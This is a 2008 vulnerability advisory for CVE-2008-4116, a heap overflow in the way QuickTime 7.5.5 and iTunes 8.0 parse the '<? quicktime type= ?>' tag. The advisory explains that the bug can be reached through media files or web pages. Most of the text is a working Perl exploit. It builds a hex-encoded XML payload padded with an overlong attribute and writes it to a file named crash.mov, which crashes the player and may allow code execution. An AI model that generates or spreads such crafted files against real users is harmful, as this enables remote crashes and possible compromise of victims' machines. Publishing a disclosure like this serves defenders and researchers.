SecurityAlert : 4270 CVE : CVE-2008-4116 CWE : CWE-119 SecurityRisk : High (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : Yes Exploit Given : Yes Credit : securfrog Published : 19.09.2008 Updated : 23.09.2008
Affected Software :
apple:quicktime:7.5.5
apple:itunes:8.0
Advisory Text :
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# Quicktime7.5.5/Itunes 8.0 Remote Heap Overflow Crash
# Vendor: http://www.apple.com/
# Risk : high
#
# The "<? quicktime type= ?>" tag fail to handle long strings, which can
lead to a heap overflow in Quicktime/Itunes media player.
# This bug can be remote or local, Quicktime/Itunes parse any supplied file
for a reconized header even if the header is not corresponding
# to the filetype, so you can put some xml in a mp4, mov,etc and open it
with quicktime or you can do the same in some html page leading to a
# remote crash on firefox, IE and any browser using the Quicktime plugin.
# Code execution may be possible.
my $payload =
"\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x
22\x3f".
"\x3e\x0d\x0a\x3c\x3f\x71\x75\x69\x63\x6b\x74\x69\x6d\x65\x20\x74\x79\x70\x
65\x3d".
"\x22\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x71\x75\x69\x
63\x6b".
"\x74\x69\x6d\x65\x2d\x6d\x65\x64\x69\x61\x2d\x6c\x69\x6e\x6b\x20\x20\x20\x
20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
20\x20".
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x
3f\x3e".
"\x0d\x0a\x3c\x65\x6d\x62\x65\x64\x20\x73\x72\x63\x3d\x22\x72\x74\x73\x70\x
3a\x2f".
"\x2f\x6e\x6f\x73\x69\x74\x65\x2e\x63\x6f\x6d\x2f\x6e\x6f\x76\x69\x64\x7a\x
2e\x6d".
"\x6f\x76\x22\x20\x61\x75\x74\x6f\x70\x6c\x61\x79\x3d\x22\x77\x68\x61\x74\x
65\x76".
"\x65\x72\x22\x20\x2f\x3e\x00";
my $file="crash.mov";
open(my $file, ">>$file") or die "Cannot open $file: $!";
print $file $payload;
close($file);
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